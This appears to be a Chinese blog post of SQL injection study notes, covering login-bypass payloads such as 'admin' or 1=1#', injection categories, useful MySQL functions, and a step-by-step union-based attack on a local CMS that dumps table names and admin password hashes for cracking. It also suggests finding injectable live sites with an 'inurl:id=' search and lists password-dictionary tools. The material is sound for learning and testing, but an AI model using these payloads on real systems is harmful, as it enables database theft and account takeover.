zoukankan      html  css  js  c++  java
  • 10.21SQL注入

    SQL注入

    1、万能密码:自己写的网站,找到登录窗口(必须和数据库交互)往里面插入构造的恶意代码,最后可以直接登陆进去,不需要帐号和密码。输入的恶意代码就称为万能密码。

    注释符号:#  --  %25  %2d%2d  --+,符号后的语句不识别

    后端拼接的sql语句:SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';

    用户名的地方没有处理,密码输入:admin  ' or 1=1#

    这样语句就拼接成了:SELECT * FROM `users` WHERE user = 'admin '  or 1=1#' AND password = '$pass';由于#被注释,则实际执行SELECT * FROM `users` WHERE user = 'admin '  or 1=1由于1=1永真,则会搜索出所有用户,根据后端代码

     

    数量为1时执行成功登陆,那么把上面的or改为and ,则会搜索出账户为admin的账户只有一个,那么就能执行成功登陆

     

    其他语句:pentest’ or 1=1#

    (注意 需不需要加’ 需要根据后端代码提交的数据类型来判定,如果是字符串类型,则需要加单引号,如果是整型,则不需要加)

    语句若为“真orand假”,则判定为真。

    为何出现这种问题:

    后端代码在执行的过程中将用户输入的数据也当做代码来执行了,违背一个原则:代码和数据相分离

    前端的传递的传输可以随意控住,参数可控;后端对前端传递过来的数据没有过滤或者过滤不严谨。最终导致万能密码sql注入。(注入的原因)

    危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell

    分类:

    请求方式:getpostcookie

    参数形式:整形、字符型、搜索

    反馈类型:报错、union、延时、布尔(时间/页面显示状态)

    数据库类型:access mssql mysql pracle nosql等等

    利用技术:布尔、报错、内联、堆叠、时间、联合

    手工注入:

    常用数据函数以及常量

    @@tmpdir

    @@datadir

    @@basedir

    @@bersion

    @@hostname

    Ascii()

    User()

    Version()

    Database()

    Concat()

    Group_concat()

    Concat_ws()

    Substr()

    Substr():oracle,mysql,mssql   /substring():mysql,mssql   /mid():mysql 注意:均有是哪个参数,第一 被截取的字符;第二 开始索引;第三 截取的长度

    Letf(pa1,pa2)从左边开始截取 pa1:被截取的字符串;pa2:截取长度

    Right()

    Sleep()让数据库休眠

    Ord()显示字符的ascii

    If(条件,条件为真时的返回值或者语句,条件为假时的返回值或者语句)

    If(1=1,ture,false)

    Case when 条件 then 条件为真时的返回这或者语句 else 条件为假时的返回值或者语句 end

    Length()计算字符串长度

    联合查询

    Select*from users where id =1 union select “a”,”b”,”c”;

    mysql数据库中:一库一表三字段

    Mysql>5.0

    Information_schema 系统数据库,用来做汇总用(其他数据库的库名、表名、字段名)

    Columns表中存储数据(库名、表名、字段名),需要关注该表下三个字段

    Table_schema  字段存储 存储其他数据库的库名

    Table_name 字段存储 存储其他数据库的表名

    Column_name 字段存储 存储其他数据库的字段名

    手工注入

    Step1:检测注入点(可能存在sql注入的地方),

    找到类似id的参数(iduidtypeidsidkey......),后面输入一些检测的恶意代码:

    ‘ and 1=1#

    ‘ and 1=2--

    -1 ‘ or ’1’=’1 等等

    需不需要’ 是由后端拼接sql语句决定的

    输入的恶意payload被成功执行(页面显示效果、报错信息等),说明此处有sql注入点

    接下来确定注入的方式:报错、布尔、堆叠,主要是根据页面的回显效果来决定使用哪种注入技术

    判断从后台数据库中选择的列数以及那几列在前端显示。

    http://127.0.0.1/jdy1.5/typeid.php?typeid=1 and order by 6%23

    更换数字,根据页面显示效果判断后台数据库选择的列数,5

    Union select 1,2,3,4,5%23,将typeid=非常大或-1

     

    发现2的位置可以注入

    Step2:收集后台信息

    尝试将2改为user()

    http://127.0.0.1/jdy1.5/typeid.php?typeid=-1  union select 1,user(),3,4,5%23

     

    发现2的位置可以将后台数据显示到前端

    http://127.0.0.1/jdy1.5/typeid.php?typeid=-1  union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23

    Step3:获取当前数据库下表名

    select table_name from information_schema.columns where table_schema=database()

    Step4:获取当前数据库下指定表下字段名

    Select group_concat(distinct column_name)from information_schema.columns where table_schema=database() and table_name=表名(一般需要找后台或者敏感的数据表)

    select concat(username,0x7e,password)from jdy_admin limit 0,1; //这里~用十六进制为0x7e

    Step6:解密:pmd5 cmd5 chamd5 somd5......网站去找,解码后显示的就是密码

    查找数据库中的password,解密即可

    ***注入训练***

    Bing国际版搜索inurl:id=,可以找到一些能够注入的网站(不建议随便注入漏洞)

     

    CMS内容管理系统,是网站建设走向成功的重要组成部分,常用的有:

       1.企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMS.net平台)等;

    2.B2C商城系统:商派shopexecshophishopxpshop;

    3.门户建站系统:DedeCMS(织梦,PHP+MYSQL)、帝国CMSPHP+mysql)、PHPCMS、动易、cmstopdianCMS(易点CMS.net平台)等;

    4.博客系统:wordpressZ-Blog;

    5.论坛社区:discuzphpwindwecenter;

    6.问答系统:Tipaskwhatsns;

    7.知识百科系统:HDwiki;

    8.B2B门户系统:destoonB2Bbuilder、友邻B2B;

    9.人才招聘网站系统:骑士CMSPHP云人才管理系统;

    10.房产网站系统:FangCms;

    11.在线教育建站系统:kesion(科汛,ASP)EduSoho网校;

    12.电影网站系统:苹果cmsctcmsmovcms;

    13.小说文学建站系统:JIEQI CMS;

    社工密码字典的生成工具:

    Pydictor:强大的密码生成工具

    Cupper:针对国人的社工密码生成器

    Wordhound:基于推特搜索、PDF文档、甚至reddit子网站创建密码字典

    易优密码生成器

  • 相关阅读:
    主流的Nosql数据库的对比
    CCF考试真题题解
    排序
    2017-10-03-afternoon
    POJ——T 2728 Desert King
    51Nod——T 1686 第K大区间
    POJ——T 2976 Dropping tests
    2017-10-02-afternoon
    入参是小数的String,返回小数乘以100的String
    银联支付踩过的坑
  • 原文地址:https://www.cnblogs.com/x98339/p/11714836.html
Copyright © 2011-2022 走看看